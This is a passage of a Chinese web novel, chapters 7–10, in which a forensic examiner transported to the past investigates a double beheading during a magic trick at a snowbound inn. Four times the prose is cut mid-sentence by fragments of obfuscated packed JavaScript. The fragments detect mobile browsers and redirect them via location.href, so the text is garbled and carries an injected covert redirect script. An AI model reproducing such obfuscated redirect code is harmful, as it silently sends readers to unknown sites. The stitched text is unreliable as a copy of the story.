《守寡赘A误标记太后》 7. 第 7 章 这声凄厉的尖叫如同投入死水中的巨石,瞬间打破了客栈内的平静。 女掌柜拨弄算盘的手猛地一顿,算珠发出刺耳的刮擦声。西边的四个大汉几乎同时放下了酒碗,手按上了腰间的刀柄,眼神锐利如鹰隼,紧紧盯住门口那瘫软的血人。而角落里的那对祖孙,老妪将小姑娘紧紧搂在怀里,满目惶恐。 陆青也被这突如其来的变故惊到了,苏嬷嬷则一步踏前,将两人护在身后,警惕地扫视着大门方向以及客栈内众人的反应。 而谢见微并未有什么反应,只是将目光落在那血人身上,冷静地观察着他的伤口和状态。 “鬼……白色的鬼影,人都死了……都死了……” 那人似乎精神已然崩溃,语无伦次地哭嚎着。 伙计吓得脸色发白,躲到了柜台后面。女掌柜强自镇定,柳叶眼里闪过一丝惊疑,扬声喝道:“哪里来的疯子胡言乱语,伙计,快把他弄出去!” 然而,没等伙计动作,那魁梧的虬髯大汉猛地一拍桌子,声如洪钟:“且慢,让他说清楚。你是什么人?什么鬼?在哪里遇到的?”他身旁那干瘦汉子也附和道:“是啊,这荒山野岭,倒不怕什么不干净的东西,怕是人为装神弄鬼!” 大喊着跑进来的人像是用尽了全身力气,瘫在地上大口喘息,嘴里不停叨念着有鬼,显然没将问话听进去。 虬髯大汉顿时不耐烦,直接呵声道:“快给老子说说到底怎么回事?不然老子现在就剁了你!” 那人这才回过神来,缩了缩脑袋,断断续续地说:“我…我叫王老五,行商赶路贪近,走了…走了山间小路…没想到…商队…全完了!那白影闪过,人…人就断了,没看到人,根本没看到人啊!就…就只剩下我…我装死…才…才逃出来……” 王老五语无伦次,显然惊魂未定。 “放屁!”虬髯大汉猛地一拍桌子,声如洪钟,“哪来的什么鬼影,定是你这厮吓破了胆,自己魔障了!” 王老五挣扎着抬起头,拼命摆手:“真的,是真的,大爷,我亲眼所见!那影子白惨惨的,飘忽不定,我那些伙计……” “闭嘴!”另一个干瘦的大汉厉声打断,眼神凶狠,“再敢胡言乱语,妖言惑众,老子剁了你喂狗!”他手按在刀柄上,煞气逼人。 王老五吓得浑身一哆嗦,剩下的话硬生生咽了回去,不敢再大声嚷嚷。 他惊惧地环顾四周,目光在凶神恶煞的刀客,和气质清冷的陆青一桌扫过,最终落在了角落里那看似人畜无害的老妪和小姑娘身上。他陪着小心,挤出笑脸爬了过去,在她们那桌的空位坐下,压低声音,絮絮叨叨地又开始诉说,仿佛这样才能缓解他的恐惧。 小姑娘似乎好奇心极重,歪着头问:“老伯,真的有鬼呀?长什么样子的?” 王老五抹了把虚汗,心有余悸地低语:“真的…小丫头,不骗你…那影子,嗖一下过去,人就…就两半了…吓死个人嘞……”他兀自沉浸在恐惧中,嘀咕着鬼影杀人。 他们声音虽小,但离得不远的陆青和谢见微却听得清楚。苏嬷嬷微微蹙眉,低声道:“小姐,这世上…当真有什么鬼魅不成?” 陆青正想凭借自己的知识分析两句,谢见微已先开口,声音清冷低沉,带着一丝不易察觉的讥诮:“再恶的鬼,哪及得上人心可怕。”陆青闻言,知她又想起了自身遭遇的背叛与磨难,心中了然,便默默闭上了嘴,不再多言。 就在这时,客栈门再次被轻轻推开,一个手持长剑、作女君打扮的人走了进来。她容貌甚是普通,不声不响地走到柜台,向柳三娘要了些吃食,便默默坐到了离陆青她们不远不近的一张空桌上,低头安静用餐,几乎没有发出任何声响,存在感极低。 然而,苏嬷嬷却眼神一凝,凑近谢见微,用几乎微不可闻的声音道:“大小姐,此人走路几乎无声无息,脚下轻盈异常,轻功修为…深不可测。” 谢见微闻言,隔着面纱瞥了那女剑客一眼,脸色似乎更白了一分,气息也略显急促。苏嬷嬷见状忙道:“此地龙蛇混杂,大小姐您脸色不好,先回房歇息吧,老奴留下看着便是。” 谢见微微微颔首,起身时目光扫过陆青。陆青一时不知该跟着回去还是留下,有些无措。谢见微脚步微顿,低声留下一句:“你在此处待着吧。”语气听不出喜怒。 陆青略显尴尬地点点头:“…好。”目送谢见微上楼。 接下来的时间,客栈里众人各自怀着心思吃饭。 不多时,吃完饭的小姑娘,再次跑到大堂中央,声音清脆: “各位贵人老爷女君小姐们,路途无聊,风雪扰人,让囡囡给大家表演个戏法解解闷吧,赏几个铜板就好。” 她先是表演了几个简单的手彩,空手取物、铜钱过杯,手法虽熟练,但在座诸人各有心事,反应平平。 坐在角落的老妪这时放下手中的粗茶碗,用带着些许沙哑的嗓音开口道:“囡囡,别拿这些不入流的小把式糊弄贵人了,把你那压箱底的宝贝亮出来,给诸位贵人们开开眼!” 囡囡一听,立刻来了精神,声音也拔高了几分:“好嘞,姥姥说得对,各位贵人请看好了!接下来,请看我们的宝贝——乾坤颠倒匣!” 她一边说,一边费力地拖出那个看起来颇为古旧的大木箱,打开箱盖向众人展示里面空空如也。 “此匣乃祖传宝物,内藏乾坤之妙。只需两人入内,关上匣盖,囡囡我念动咒语,施展神通,片刻之后……”她故意拉长声音,“再开匣时,两人的头颅便会瞬间互换,长到对方的脖子上,神不神奇?” 这噱头十足的介绍终于吸引了一些目光。 囡囡趁热打铁,拉着老妪的手:“姥姥,咱们给贵人们露一手!” 老妪颤巍巍地站起身,和囡囡一起,在众人注视下,弯腰钻进了箱子。 盖子合上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897826|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 囡囡在里面似乎还能听到她清脆的声音:“姥姥等一下,马上就好。” 片刻寂静后,箱子里传来一声轻微的响动,以及囡囡一声故作玄虚的轻喝:“换!” 箱盖猛地从里面被推开。 首先探出来的是囡囡的脑袋,她脸上挂着得意的笑。紧接着,旁边冒出来的是老妪身体,然而——那头上赫然是囡囡那张笑嘻嘻的脸,而囡囡小身体的脖颈上,顶着的正是老妪布满皱纹的面容。 “哈哈哈!”顶着老妪脸的囡囡用稚嫩的嗓音笑道,“好玩吗?” 而顶着囡囡脸的老妪则用苍老的声音说:“乖囡,快变回来,莫吓着贵人。” 两人再次缩回箱内,又是一声响动,再次开箱时,已然恢复了原状。 这神奇的一幕,远比之前的手彩要震撼得多,众人纷纷叫好,就连在现代看惯了魔术的陆青也被这古代的戏法镇住了,将苏嬷嬷给的铜钱放在了囡囡的锣里,由衷的夸了句:小妹妹,你真厉害! 小姑娘被夸很是高兴,当场给陆青变了一朵梅花递给她,才走向别处讨赏。 当她走到四个大汉那桌时,他们喝的酒意正酣。 虬髯大汉一把按住囡囡的小锣,斜着眼,带着酒气喷道:“小丫头,跟你姥姥换有什么看头?有本事,把爷爷我和李猛的头换换,让咱也尝尝当对方是啥滋味!”他掏出一块不小的银锭拍在桌上,笑道:“成了,这些全是你的,不成……嘿嘿,你这匣子,还有你这小脑袋,就都别要了!” 囡囡小脸一白,瑟缩了一下,看向老妪。 老妪浑浊的眼睛动了动,最终还是咬着牙点了点头:“……请两位爷入匣。” 两个大汉狂笑起身,带着满身酒气,一前一后钻进了那幽暗的木箱。 箱盖咔哒一声合拢,严丝合缝。 囡囡围着箱子走了三圈,口中念念有词,最后在箱盖上一拍—— “乾坤颠倒,移!” 咒语声落,万籁俱寂。 所有的目光都死死钉在箱子上。 囡囡小手按在箱盖上,用力向上一掀—— 时间仿佛凝固了一瞬。 没有预想中的嬉笑怒骂,没有头颅互换后的滑稽场面。 只有—— “噗通……” 两颗硕大的头颅发出两声闷响,从箱口跌落,重重砸在地板上,翻滚了几圈,面朝上方停下。他们的眼睛瞪得极大,仿佛至死都不明白发生了什么。 紧接着,失去了头颅的脖颈处,鲜血如同压抑已久的喷泉,带着‘嗤——’的恐怖声响,猛地从箱内向上喷射而出,滚烫的血点溅上屋顶、梁柱,甚至溅到了离得稍近的桌椅上。 浓烈到令人作呕的血腥气,瞬间撑满了整个客栈。 那无头的尸身,在箱中兀自挺立了片刻,才缓缓向前栽倒,发出两声闷响。 整个大堂,死一般寂静。 8. 第 8 章 刹那的死寂后,整个客栈炸开了锅。 “杀人了!杀人了!” 王老五第一个尖叫起来,他连滚带爬地往后缩,指着那两颗头颅,脸上肌肉扭曲变形:“鬼!是那个鬼影,它追来了,它钻进箱子里杀人了!” 他的尖叫声如同投入滚油的水滴,瞬间引爆了客栈内压抑到极致的恐慌。 “鬼……鬼真的来了?!” “快跑!快跑啊!” 胆小的伙计吓得腿软,几乎要瘫倒在地。 女掌柜柳三娘也变了脸色,手中的算盘啪地掉在地上,珠子滚落一地。 剩下的那两名大汉,赵龙和钱虎,在最初的震惊过后,勃然大怒。 “锵!锵!” 两把雪亮的钢刀同时出鞘,刀尖直指吓得抱在一起的老妪和小姑娘。 “老妖婆,小贱种!”赵龙目眦欲裂,满脸横肉因愤怒而抖动,“你们搞的什么鬼把戏?竟敢害我兄弟性命,老子要你们偿命!” 钱虎更是咬牙切齿,眼中凶光毕露:“说!你们到底是什么人?是谁派你们来害我们的?不说实话,老子把你们剁成肉泥!” 老妪吓得浑身发抖:“贵人饶命,贵人饶命啊。老婆子也不知道怎么回事,这、这匣子……它就是祖传的戏法机关,以前从没出过差错,不关我们的事啊。” 小姑娘囡囡早已吓傻了,只会缩在老妪怀里呜呜哭泣,小脸惨白如纸。 钱虎狞笑一声,“放你娘的狗屁,什么样的戏法机关能瞬间割掉两个大活人的脑袋?当老子是三岁小孩?” 说着,他举起钢刀,就要劈下! “住手!” 一个清亮却带着明显颤抖的声音,突兀地响起。 所有人的目光,瞬间聚焦到出声之人身上——正是陆青。 她双手在袖中微微握紧,面对两把寒光闪闪的钢刀和满地的鲜血,心脏在胸腔里狂跳,几乎要撞出来。而一旁的苏嬷嬷,显然没想到她居然会开口,一脸的愕然和不赞同。 但身为一个文明的现代人,陆青实在不能眼睁睁看着这对祖孙被当场砍死。 “你是什么东西?”赵龙猛地转头,刀尖转向陆青,眼神凶狠,“敢管老子的闲事,活得不耐烦了?” 陆青深吸一口气,迎着他充满杀气的目光,努力让自己的声音听起来平稳:“我……我只是觉得,事情还没弄清楚。若真是她们祖孙杀人,为何要在众目睽睽之下动手?这不合常理。” 赵龙嗤笑,“老子看你们就是一伙的,再多嘴,连你一起砍了。” 他作势就要挥刀。 “且慢。” 苏嬷嬷一步上前,挡在陆青身前。她虽未亮兵刃,但身形稳如磐石,一双老眼精光闪烁,冷冷盯着赵龙和钱虎:“我家女君只是说出她的疑虑。你们若想滥杀无辜,老身虽年迈,却也不能坐视。” 气氛顿时剑拔弩张。 赵龙和钱虎对视一眼,他们能看出这老仆妇不简单,但兄弟惨死,怒火攻心之下,也顾不得许多了。 “好啊,看来真是同伙。”赵龙眼中杀机更盛,“那老子就送你们一起上路,给我兄弟陪葬!” 就在这千钧一发之际—— “诸位,可否听在下一言?” 众人循声望去,只见那位一直安静用餐的女剑客,不知何时已放下筷子,缓缓站起身。她依旧穿着那身不起眼的布衣,手持长剑,脸上没什么表情,但声音却带着一种奇异的力量。 “眼下情况不明,妄动刀兵,只会让真凶有机可乘。”女剑客的目光扫过赵龙、钱虎,又看了看陆青和苏嬷嬷,最后落在那对惊恐的祖孙身上,“这两位若真是凶手,断不会用如此拙劣明显的方式当众杀人。依在下看,不如先让这位……”她看向陆青,“这位女君查验一番,或许能找出些端倪。” 钱虎脸色阴沉,盯着女剑客:“你又是谁?凭什么插手?” 女剑客淡淡道:“在下不过一路人,见不得无辜者枉死罢了。若查验后证实她们确是凶手,届时二位再动手,也为时不晚。” 钱虎还想说什么,赵龙却抬手制止了他。 他眯起眼睛,仔细打量了女剑客片刻,又看了看地上兄弟的尸体,终于咬着牙,从牙缝里挤出一句话:“好,老子倒要看看,能查出什么花样来。” 他刀尖一指陆青,恶狠狠道:“你,去验!若验不出个所以然,或者敢耍花样……”他冷笑一声,未尽之言中的威胁意味不言而喻。 陆青心头一紧,但事已至此,已无退路。 她定了定神,对苏嬷嬷低声道:“婆婆,我去看看。” 苏嬷嬷眉头紧皱,显然不放心,但见陆青眼神坚定,只得低声叮嘱:“万事小心。” 陆青点了点头,深吸一口气,迈步走向那血腥的现场。 每一步,都踩在粘稠的血泊边缘。 浓烈的血腥味扑面而来,形成一种令人作呕的气息。陆青胃里一阵翻腾,她强行压下不适,迫使自己将注意力集中在眼前的尸体上。 作为一名法医,她见过太多死亡,但如此近距离接触刚被斩首的尸体,仍是第一次。她必须尽快进入专业状态。 她在尸体旁蹲下,先仔细观察了两颗头颅。 头颅的面容因极致的惊恐而扭曲,双目圆睁,瞳孔散大,显然是瞬间死亡,连反应的时间都没有。 “切口……”陆青喃喃自语,目光落在断颈处。 她凑得更近了些,不顾血污,仔细观察创面的形态。 “创面极其平滑。”她语气凝重,声音在寂静的大堂里清晰可闻,“几乎没有锯齿状的撕裂痕迹,这说明凶器异常锋利,切割速度极快。切割方向是从左至右,略微向上倾斜。这意味着,凶手是从死者左侧出手,以一定角度,由下向上发力……” 她顿了顿,眉头紧锁:“这种角度不太寻常。若是正面挥砍,通常是水平或略微向下。这种由下向上的切割,要么凶手位置较低,要么……” 她猛地抬起头,看向还在瑟瑟发抖的王老五。 “王老五。”陆青声音提高了一些,“你之前说,你的同伴是被‘白影’所杀。你还记得,他们的伤口是什么样的吗?” 王老五被她突然点名,吓得一哆嗦,结结巴巴道:“伤、伤口?就是人一下子……就断了啊!头……头飞出去……” “伤口整齐吗?”陆青追问,“就像被极其锋利的刀,一下子切断那样?” 王老五努力回忆着,脸上恐惧更甚:“好、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897827|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像是的……当时吓懵了,没看太清……但、但好像是很整齐……血喷得老高……” 陆青心中一凛。 她再次低头,仔细对比眼前这两具尸体的伤口,又回想王老五的描述。 “伤口特征极其相似。”她缓缓开口,“都是瞬间切割,创面平滑,出血量大。如果王老五没有看错,也没有夸大其词的话……那么,杀死这两位的凶手,和使用‘白影’手法杀死王老五同伴的,很可能是同一个人,或者同一种利器。” 此话一出,满堂皆惊! “鬼影……鬼影跑到箱子里杀人了?” “这客栈里真的有鬼?它现在就在我们中间?” 王老五中邪般大喊一声,恐慌顿时如同瘟疫般急速蔓延。 就连赵龙、钱虎这样刀头舔血的悍勇之徒,此刻脸色也变了。他们持刀的手微微颤抖,眼神惊疑不定地扫视着四周,仿佛那无形的‘白色鬼影’就潜伏在某个角落,随时可能再次出手。 伙计吓得缩成一团,女掌柜柳三娘也脸色发白。就连一直冷静的女剑客,眉头也微微蹙起,手下意识地握紧了剑柄。 只有陆青,这个坚定的唯物主义者,虽然心跳如鼓,却明显不相信鬼魅之言。 “鬼魅之说,虚无缥缈。”她提高了声音,试图压过众人的恐慌,“我更相信是人为。是同一种极其锋利的凶器,配合特殊的手法或机关,制造出的杀人效果。” 她的话像是一盆冷水,让部分人稍稍冷静下来。 赵龙喘着粗气,盯着陆青:“人为?你说说看,怎么个人为法?众目睽睽之下,箱子盖着,人进去还好好的,一开箱头就掉了。” “这正是需要查明的。”陆青转向那个巨大的乾坤颠倒匣。 木箱此刻静静地立在那里,箱口边缘还滴答着鲜血,在昏黄的灯光下显得阴森恐怖。陆青走近木箱,先检查外部。箱子做工颇为粗糙,木板厚实,接缝处用铜钉加固,看起来就是个普通的大道具箱。 她伸手摸了摸箱壁,又轻轻敲了敲。 “声音沉闷,木板很厚。”她自语道。 接着,她深吸一口气,俯身探向箱内。箱底积着一层暗红的血泊,两具无头尸身以诡异的姿态交叠着。陆青强忍着不适,伸手在箱内四壁仔细摸索。 “内壁光滑,没有明显的凸起或机关触发点……”她一边摸索,一边低声说着自己的发现,指触碰到箱底时,忽然顿了顿,“底板……”她用力按了按,“似乎有些微不平整的震动感。” 她连忙趴得更低,仔细检查箱底木板。 在血污的掩盖下,木板的纹理似乎有些异常。她用手指沿着木板的缝隙细细探查,终于在靠近箱子后部的位置,摸到了一条几不可见的接缝。 “这里……”陆青眼睛一亮。 她尝试着用力去推那块底板,起初纹丝不动,她又换了几个角度,加大力道。 “咔哒——” 一声轻微的机括声响,在寂静中格外清晰。 紧接着,那块约莫两尺见方的底板,竟然被她向上推开,露出了下方黑黝黝的空洞! “密道!”陆青脱口而出。 “什么?!” 所有人都惊住,纷纷围拢过来。 9. 第 9 章 箱底密道被发现的那一刻,赵龙和钱虎的怒火瞬间转向了客栈主人。 “锵!锵!” 两把钢刀几乎同时出鞘,寒光闪过,直指柜台后的女掌柜柳三娘。 赵龙一个箭步上前,刀尖几乎要点到柳三娘的鼻尖上,他目眦欲裂,额上青筋暴起:“说!这他娘的密道是怎么回事?是不是你搞的鬼?” 钱虎也从侧面逼上,堵住柳三娘的退路,狞笑着:“藏在地窖里杀人?好手段啊!怪不得在这鸟不拉屎的地方开客栈,原来是家黑店。” “奴家……奴家冤枉啊!这下面……这下面就是个普通的地窖。” 柳三娘吓得脸色惨白如纸,身体抖如筛糠,连连摆手:“好汉明鉴,这兵荒马乱的,奴家一个坤泽在此开店,不得不多留个心眼。那地窖就是存放些酒肉,还有……还有一点保命的金银细软,就怕哪天遭了匪,万万不敢害人性命啊!” “金银细软?”钱虎眼睛一眯,贪婪之色一闪而过,“哼,说得倒是可怜,谁知道下面有没有藏着你那杀人同伙。” 赵龙刀锋一偏,抵在柳三娘脖颈旁:“少废话,带路,下去看看!” “我…我带路,我带路……”柳三娘颤声应着,哆哆嗦嗦地从柜台下摸出一盏油灯,用火折子点燃。 灯火摇曳,映照着她惨白的脸。 赵龙用刀尖抵着她的后背:“走!” 钱虎则一把拽过缩在墙角的老妪和小姑娘囡囡:“你们也下去,要是敢耍花样,老子先宰了你们!” 老妪吓得几乎站不稳,囡囡则死死抱着姥姥的腿,浑身发抖。 一行人——柳三娘举灯在前,赵龙、钱虎押着祖孙俩紧随其后,鱼贯钻入箱底密道。 陆青盯着黑洞洞的密道入口,眉头紧锁。 她凑近苏嬷嬷,压低声音:“婆婆,有些不对……” “嗯?”苏嬷嬷侧耳倾听。 “如果凶手是从密道下面往上切割,创面应该向下倾斜,而血迹应该往两侧喷洒。”陆青一边回忆着刚才的勘查,一边比划,“但您看那血喷溅的最高点。” 苏嬷嬷顺着她的目光看向屋顶,暗红的血点溅在离地约一人半高的位置。 陆青接着分析道:“可现在这些血迹,更像是血液在箱内先向上喷射,然后才溅到屋顶。这提示……凶手很可能是在箱子内部,或者至少是在与死者脖颈平齐的高度,用一个极快、极锋利的东西,水平扫过。” 苏嬷嬷眼中精光一闪:“你的意思是……” “杀人者应该不是在密道下动的手。”陆青肯定道,“要不……我下去看看?也许地窖里还有其他线索。” 苏嬷嬷犹豫了一下,才低声道:“也好。你下去仔细瞧瞧,老奴留在上面以防意外,万事小心。” “我明白。”陆青点头,深吸一口气,也弯腰钻进了密道。 密道入口狭窄,仅容一人通过。向下是一段粗糙的石阶,约莫十余级。 陆青下来时,柳三娘手中的油灯已经将地窖照亮大半。 地窖不大,约莫两丈见方,四壁是夯实过的土墙,角落里果然堆放着不少陶土酒坛,用油纸封着口。另一侧挂着几串风干的腌肉和腊肠,散发着一股混杂的酒气和肉腥味。 赵龙和钱虎正举着另一盏灯,仔细检查着地窖的每一个角落。 “墙是实的。”赵龙用刀背敲打着土墙,发出沉闷的响声。 钱虎则蹲在地上,仔细查看地面:“没有新鲜血迹,也没有拖拽痕迹。” 柳三娘缩在一边,低声啜泣着,显得无比委屈和恐惧。 老妪和囡囡则被推到墙角,祖孙俩紧紧抱在一起,不敢出声。 陆青下来后,没有立刻动作,而是站在入口处,仔细观察整个地窖的环境。 她的目光从堆放的酒坛、悬挂的腌肉,扫到角落一个上了锁的小木箱,最后落在头顶——密道入口的正下方。 那里正是木箱底板的对应位置。 “女君。”柳三娘看到陆青下来,像是抓住了救命稻草,“您可得给奴家作证啊,这地窖就是存东西的,哪有什么杀人凶手……” 陆青没有接话,只是继续仔细地打量着周围。 而赵龙和钱虎已经探查了一遍,最后走到那个上着锁的小木箱前,用刀指着柳三娘,厉声呵斥:“把这个箱子打开。” 柳三娘愣了愣,抖着手找了半天,才打开木箱上的铜锁。 箱盖掀开。 里面果然如她所说,有一些散碎银两和铜钱,用布包裹着。 但除此之外—— “金子!”钱虎眼尖,第一个叫出声。 只见散碎银两下面,赫然压着几锭黄澄澄的金元宝,每锭约莫五两重,在油灯光下闪着诱人的光泽。 赵龙和钱虎的眼睛瞬间直了! 贪婪之色难以掩饰地浮现在两人脸上,连呼吸都粗重了几分。 柳三娘脸色更白,慌忙解释:“这、这是奴家攒了多年的积蓄……就、就是防身用的……” 钱虎舔了舔嘴唇,伸手就要去抓。 “等等。”陆青突然出声。 她的手按在了箱盖上,挡住了钱虎的动作。 钱虎脸色一沉:“你什么意思?” 陆青不理他,而是走到悬挂腌肉的地方,目光在肉串之间移动,最后停在一处——那里,两条腊肠之间的缝隙,比别处要宽一些。 仿佛曾经有什么东西从中间穿过,将腊肠挤开了。 陆青伸手,轻轻拨开腊肠。 后面的土墙上,什么也没有。 但她没有放弃,用手指在墙面上细细摸索。 土墙夯得很实,表面粗糙。 忽然,她的指尖触到一点异样。 在约莫齐腰高的位置,有一小块墙面,手感比周围要光滑一些。 非常细微的差别,若非刻意寻找,根本察觉不到。 陆青趴得更近,借着油灯的光仔细看。那块光滑的区域,形状不规则,约莫指甲盖大小,边缘与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897828|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围的墙面像是长期摩擦所致。 “这里……”她喃喃自语。 “发现什么了?”赵龙凑过来,语气急切。 陆青直起身,拍了拍手上的土:“暂时没有。” 她环视整个地窖,目光最终落回那个小木箱里的金元宝上。 “掌柜的,”她转向柳三娘,“这些金子,你平日都放在这里?” 柳三娘点头如捣蒜:“是、是啊……地窖隐秘,比放在房里安全……” “那你不怕被人发现这密道?”陆青追问。 “这……”柳三娘语塞,随即解释道,“箱子有锁,而且……而且奴家平日很小心,从不让外人知道……” 陆青不再多问。 赵龙和钱虎又仔细搜查了一遍,确认地窖没有其他出口,也没有发现新鲜血迹或打斗痕迹。 一无所获。 两人虽然不甘,但注意力显然已经更多地被那几锭金元宝吸引了。 “看来……真不是这儿动的手。”钱虎舔着嘴唇,眼睛却死死盯着木箱。 赵龙也咽了口唾沫,但还算克制:“既然查完了,先上去。” 一行人返回大堂。 陆青钻出密道时,发现谢见微已经下来了,正端坐在之前的位置上。 她依旧是那副清冷模样,面纱遮脸,只露出一双点墨凤眸。 但陆青敏锐地察觉到,那双看向自己的眸子里,似乎多了一抹……探究? 她心中一跳,连忙移开视线,快步走到苏嬷嬷身边。 “怎么样?”苏嬷嬷低声问。 陆青将地窖里的情况简略说了一遍,最后压低声音:“没发现地窖有其他出口,老板娘藏在箱子里的金子很显眼,赵龙和钱虎似乎起了贪念。还有...地窖墙上有一处异常光滑,像是长期摩擦所致,不知道是否与杀人有关。” 苏嬷嬷眉头微蹙:“这事情还真蹊跷……” 两人说话间,谢见微的目光一直落在陆青身上。 等陆青说完,她才轻轻开口,带着一丝似有若无的笑意: “藏得够深啊。” 陆青一愣,转头看她。 谢见微的凤眸微微弯起一个极浅的弧度:“没想到你还会仵作之术。观察入微,分析缜密,倒是有几分本事。” 陆青莫名有些心虚,忙低下头,解释道:“只是……只是学过一些皮毛,不值一提。从前流浪时,在义庄帮过忙,跟老仵作学了两手,糊口而已。” “哦?”谢见微尾音轻扬,“义庄的老仵作,还教你看血迹喷溅,分析凶器?” 陆青额头渗出细汗:“这个…老仵作经验丰富,什么都懂一些,我……我也是瞎琢磨……” 谢见微没再追问,只是轻哼一声,移开了目光。 但那声轻哼里,分明带着几分‘信你才怪’的意味。 陆青暗暗松了口气,心中却警铃大作。 这位‘娘子’心思敏锐,自己必须更加小心,免得露出太多破绽。 10. 第 10 章 大堂内的空气仿佛凝固了,只有木柴在火盆里偶尔发出的噼啪声,以及窗外愈发凄厉的风雪呼啸。 赵龙与钱虎迅速交换了一个眼神。 那眼神里没有对真相的渴求,只有赤裸裸的狠厉与算计,兄弟死了固然痛心,但那些金子却是意外之喜。 “还查什么查,我看凶手就是这两个妖人,用这劳什子邪术箱子,害死了我两个兄弟!”赵龙上前一步,刀锋几乎要碰到老妪花白的头发:“我现在就杀了她们,为我兄弟报仇。还有这个客栈也邪性,老板娘你那些金子就当是买命钱了,以祭奠我兄弟在天之灵!” 钱虎也狞笑着跨出,堵住了祖孙二人可能的退路:“大哥说得对,跟这两个妖人废什么话,一刀一个,干净利落。拿了银子,天一亮咱们就走,这鬼气森森的地方,老子多待一刻都觉得晦气!” “冤枉……冤枉啊!” 老妪枯瘦的手紧紧搂着吓呆的囡囡,拼命摇头,声音嘶哑: “贵人明鉴,老婆子……老婆子祖孙二人行走江湖,只为混口饭吃,怎么敢害人性命?这箱子……这箱子它以前真的没出过事啊!定是哪里坏了,或是…或是冲撞了什么……” 囡囡把小脸死死埋在姥姥怀里,瘦小的肩膀剧烈颤抖着,连哭都不敢大声。 “还敢狡辩!”钱虎不耐烦地喝道,“箱子是你们的,戏法是你们变的,人死在你们箱子里。不是你们搞的鬼,还能是谁?” 眼看那明晃晃的钢刀就要落下—— “等等!” 一个微颤的声音,陡然响起,打破了这单方面的审判。 陆青再一次站了出来。 她的脸色在昏黄的灯光下显得有些白,但她的眼神却异常坚定。她深吸一口气,仿佛要压下胸腔里狂跳的心脏,然后毅然起身挡在了祖孙二人面前。 这个动作,让所有人都愣住了。 就连一直冷眼旁观的谢见微,面纱之下的凤眸里,也掠过一丝极淡的讶异。 苏嬷嬷眉头紧蹙,脚下不动声色地向前挪了半步,身体微微前倾,已是蓄势待发之态,只待刀客暴起,她便要出手护住陆青。 陆青的声音在大堂里回荡,虽然带着紧张导致的微哑,却字字清晰:“事情尚未查明,真相扑朔迷离,岂能仅凭臆测就滥杀无辜?” 赵龙刀锋一转,指向陆青的鼻尖,眼中凶光毕露,“你一而再、再而三地阻挠,到底安的什么心?莫非……这人是你杀的?还是说,你跟这两个妖人是一伙的?” 冰冷的刀尖近在咫尺,陆青甚至能感受到那锋刃上散发出的寒意。她的后背瞬间被冷汗浸湿,心脏几乎要跳出喉咙。 但她没有后退。 她抬起头,毫无畏惧地迎上赵龙那双充满杀气的眼睛,逻辑清晰地反驳:“两位,请冷静想想,若真是她们祖孙蓄意杀人,为何要选择用自己带来的箱子、在众目睽睽之下杀人?这岂不是自曝其短,告诉所有人凶手就是自己?” 她扫视了一圈众人,最后再次将视线转向赵龙和钱虎,声音里带上了恳切,但更多的是不容置疑的道理:“如今案情未明,你们若是此刻杀了她们,才是正中真凶下怀。不仅让无辜者枉死,更让真凶逍遥法外,你们兄弟的冤屈,将永远石沉大海,再无昭雪之日!” 这番话说得有理有据,条理分明,大堂里一时安静下来。 就连缩在角落的王老五,也停止了喃喃自语,惊疑不定地看着陆青。 柳三娘低垂的眼皮下,目光急速闪烁了几下。 赵龙和钱虎被陆青这连珠炮似的话弄得一滞,脸上凶悍的表情出现了犹豫。陆青的话,戳中了他们心中那丝不愿深想的疑虑,是啊,当众用自己的箱子杀人,也确实太蠢了。 然而,那金元宝的诱惑,兄弟惨死带来的愤怒,以及对这诡异客栈的深深忌惮,迅速压过了这短暂的理性。尤其是钱虎,他本就是个暴躁冲动的性子,此刻见大哥犹豫,更是恼羞成怒。 “放你娘的狗屁!”钱虎猛地挥刀,刀锋在空中划出一道刺目的寒光,厉声喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897829|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“老子不管什么常理不常理,老子只知道,我兄弟死了,死在这两个妖人的箱子里。这就够了!” “宁可错杀,不可放过!这是老子在边关死人堆里爬出来学到的道理,最后警告你一次,给老子滚开。否则,老子连你一起砍了,送你们黄泉路上做个伴!” 